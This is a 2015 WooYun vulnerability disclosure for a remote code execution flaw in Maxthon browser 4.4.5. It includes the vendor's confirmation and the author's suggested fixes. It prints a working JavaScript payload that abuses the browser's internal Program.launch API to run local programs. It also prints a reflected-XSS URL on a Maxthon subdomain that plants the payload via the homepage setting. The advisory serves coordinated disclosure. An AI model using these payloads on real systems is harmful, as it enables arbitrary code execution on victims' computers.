当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0122123

漏洞标题:傲游浏览器最新版远程代码执行附过程分析

相关厂商:傲游

漏洞作者: 梧桐雨

提交时间:2015-06-22 17:14

修复时间:2015-09-20 17:26

公开时间:2015-09-20 17:26

漏洞类型:远程代码执行

危害等级:高

自评Rank:12

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-06-22: 细节已通知厂商并且等待厂商处理中
2015-06-22: 厂商已经确认,细节仅向厂商公开
2015-06-25: 细节向第三方安全合作伙伴开放
2015-08-16: 细节向核心白帽子及相关领域专家公开
2015-08-26: 细节向普通白帽子公开
2015-09-05: 细节向实习白帽子公开
2015-09-20: 细节向公众公开

简要描述:

之前更新的好猛,直接把前面的一些手里无需交互的给fix掉了,但是这几天仔细研究,绕过了之前的瓶颈,可以通过一些猥琐技巧来继续实现远程代码执行。

详细说明:

先来看看版本号:v4.4.5.3000

123.jpg


通过之前漏洞的洗礼,傲游在订阅的地方已经不能执行本地命令了,统一的将document.domain设置成了about:blank。这使得我前面找到的bypass标签作废。
经过一番研究,定位到一处可以点击的地方:
about:last

last.jpg


通过一些测试,发现这里当出现javascript://协议的时候,这个域是res:

1.jpg


而真正的about:blank,则为空,譬如你们之前修复的about:reader:

do.jpg


顺藤摸瓜,找到对应的js看看他是怎么过滤的:

function encodeHtml(A) {
return A.replace(/\&/ig, "&amp;").replace(/\>/ig, "&gt;").replace(/\</ig, "&lt;").replace(/\:/ig, "&#58;").replace(/\'/ig, "&#39;").replace(/\"/ig, "&quot;")
}


由于这里仅仅只是粗暴的过滤了&<>等符号,但是并没有对(),以及javascript协议进行限定。
那么我们如何让用户去自己写入javascript://协议呢?我们可以通过window.open()让用户访问一个恶意地址,接着弹出一个新窗口,通过对浏览器关闭或者重定向,让用户访问过的window.open()里面的地址写入到about:last里。
思路有了,我们可以构造代码:
window.open('javascript:var s=document.createElement("iframe");s.src="mx://res/notification/";s.onload=function(){s.contentWindow.maxthon.program.Program.launch("C:/windows/system32/calc.exe","")};document.body.appendChild(s);')
这样,下次用户再打开about:last的时候,点击新标签页面,就能执行本地的命令:

js.jpg


弹出calc.exe

calc.jpg


同理可以执行本地的任意程序。
那么这个漏洞的关键在于如何让漏洞更好用一些,这里有2点。
1,通过异常,将傲游浏览器崩溃掉,下次打开就会自动弹出上次未关闭的页面。
2,通过傲游浏览器*.maxthon.cn下的xss api修改打开第一次的首页。
由于你们对你们的反射型xss并不是很重视。
WooYun: 傲游浏览器设计缺陷可导致读取用户收藏/历史记录等敏感信息 给你们提交了,你们仅仅只是修复了my.maxthon.cn的xss,对skin.maxthon.cn并未修复。
因此结合上面这些点,构造url如下:
http://skin.maxthon.cn//swfupload/swfupload.swf?movieName=aaa%22])}catch(e){if(!window.x){window.x=1;maxthon.browser.config.ConfigManager.set("maxthon.config","browser.general.multihomepage", '["about:last"]');window.open('javascript:var s=document.createElement("iframe");s.src="mx://res/notification/";s.onload=function(){s.contentWindow.maxthon.program.Program.launch("C:/windows/system32/calc.exe","")};document.body.appendChild(s);')}};//
当用户访问之前:

x.jpg


访问上面的url之后:

xx.jpg


xxx.jpg


下次打开浏览器,点击链接执行任意本地程序:

u.jpg


p.jpg

漏洞证明:

p.jpg

修复方案:

1、正则判断可以严谨一些,禁用javascript,()等一些特殊字符。
2、对顶层document.domain做更严格的限定,location.href设置为about:blank并不管用。

版权声明:转载请注明来源 梧桐雨@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:8

确认时间:2015-06-22 17:24

厂商回复:

确认. 继续过滤

最新状态:

暂无